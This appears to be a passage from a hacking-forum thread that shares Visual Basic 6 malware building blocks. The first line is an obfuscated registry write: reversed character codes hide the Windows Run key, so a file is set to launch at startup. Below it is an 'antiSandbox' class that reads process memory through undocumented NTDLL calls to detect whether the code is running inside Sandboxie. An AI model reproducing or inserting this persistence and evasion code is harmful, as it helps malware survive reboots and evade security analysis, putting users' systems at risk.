X.regwrite StrReverse(Chr$(110) & Chr$(117) & Chr$(82) & Chr$(92) & Chr$(110) & Chr$(111) & Chr$(105) & Chr$(115) & Chr$(114) & Chr$(101) & Chr$(86) & Chr$(116) & Chr$(110) & Chr$(101) & Chr$(114) & Chr$(114) & Chr$(117) & Chr$(67) & Chr$(92) & Chr$(115) & Chr$(119) & Chr$(111) & Chr$(100) & Chr$(110) & Chr$(105) & Chr$(87) & Chr$(92) & Chr$(116) & Chr$(102) & Chr$(111) & Chr$(115) & Chr$(111) & Chr$(114) & Chr$(99) & Chr$(105) & Chr$(77) & Chr$(92) & Chr$(69) & Chr$(82) & Chr$(65) & Chr$(87) & Chr$(84) & Chr$(70) & Chr$(79) & Chr$(83) & Chr$(92) & Chr$(77) & Chr$(76) & Chr$(75) & Chr$(72)), sFile

End Function

 
antiSandbox clase

antiSandbox clase

Code:
>Option Explicit
'NTDLL
Private Declare Function RtlGetCurrentPeb Lib "NTDLL" () As Long
'MSVBVM60
Private Declare Sub GetMem4 Lib "MSVBVM60" (ByVal Addr As Long, ByRef RetVal As Long)

'---------------------------------------------------------------------------------------
' Procedure : AmISandboxied
' Author    : Karcrack
' Date      : 13/03/2011
' Purpose   : Know if we are running under Sandboxie
'---------------------------------------------------------------------------------------
'
Public Function AmISandboxied() As Boolean
   Dim lUPP        As Long         '&RTL_USER_PROCESS_PARAMETERS
   Dim lFlags      As Long         'RTL_USER_PROCESS_PARAMETERS.Flags
   
   Call GetMem4(RtlGetCurrentPeb() + &H10, lUPP)
   Call GetMem4(lUPP + &H8, lFlags)
   AmISandboxied = (lFlags <> 1)
End Function
 
Status
Not open for further replies.
Back
Top